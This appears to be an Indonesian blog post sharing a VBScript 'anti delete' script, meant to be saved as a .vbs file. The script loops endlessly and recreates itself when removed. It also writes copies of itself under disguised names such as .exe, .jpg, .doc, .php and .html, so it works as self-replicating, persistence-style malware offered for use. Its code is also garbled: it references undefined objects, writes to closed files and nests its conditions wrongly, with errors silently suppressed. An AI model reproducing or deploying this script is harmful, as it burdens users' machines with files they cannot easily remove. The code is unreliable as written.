File vbscript anti delete

Di buat menggunakan notepad dengan ekstensi vbs..

Dim FSO
Dim nodelete
Dim create

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")

'Buka dan Baca Dirinya Sendiri
Set nodelete = FSO.OpenTextFile(WScript.ScriptFullName)
Set nodelete = FSO.OpenTextFile(bebeckh.ScriptFullName)
Set nodelete = FSO.OpenTextFile(bebeckh)

'Simpan Dalam Variabel create

create = nodelete.ReadAll
nodelete.Close
Body.Close
Budy.Close

Do

      If FSO.FileExists(WScript.ScriptFullName) = False Then
      Set nodelete = FSO.CreateTextFile(WScript.ScriptFullName)
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.txt")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.avi")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.bat")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.exe")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.3gp")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.wmf")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.swf")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.rtf")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh) = False Then
      Set nodelete = FSO.Createfolder("bebeckh")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.jpg")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.bmp")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.gif")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.html")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.fla")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.php")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.js")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.doc")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.docs")
      nodelete.Write create
      nodelete.Close

      If FSO.FileExists(bebeckh.ScriptFullName) = False Then
      nodelete.Write create
      Set nodelete = FSO.CreateTextFile("bebeckh.xml")
      nodelete.Write create
      nodelete.Close

     

     

End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
Loop

saveas dengan ekstensi vbs( misal:bebeckh.vbs)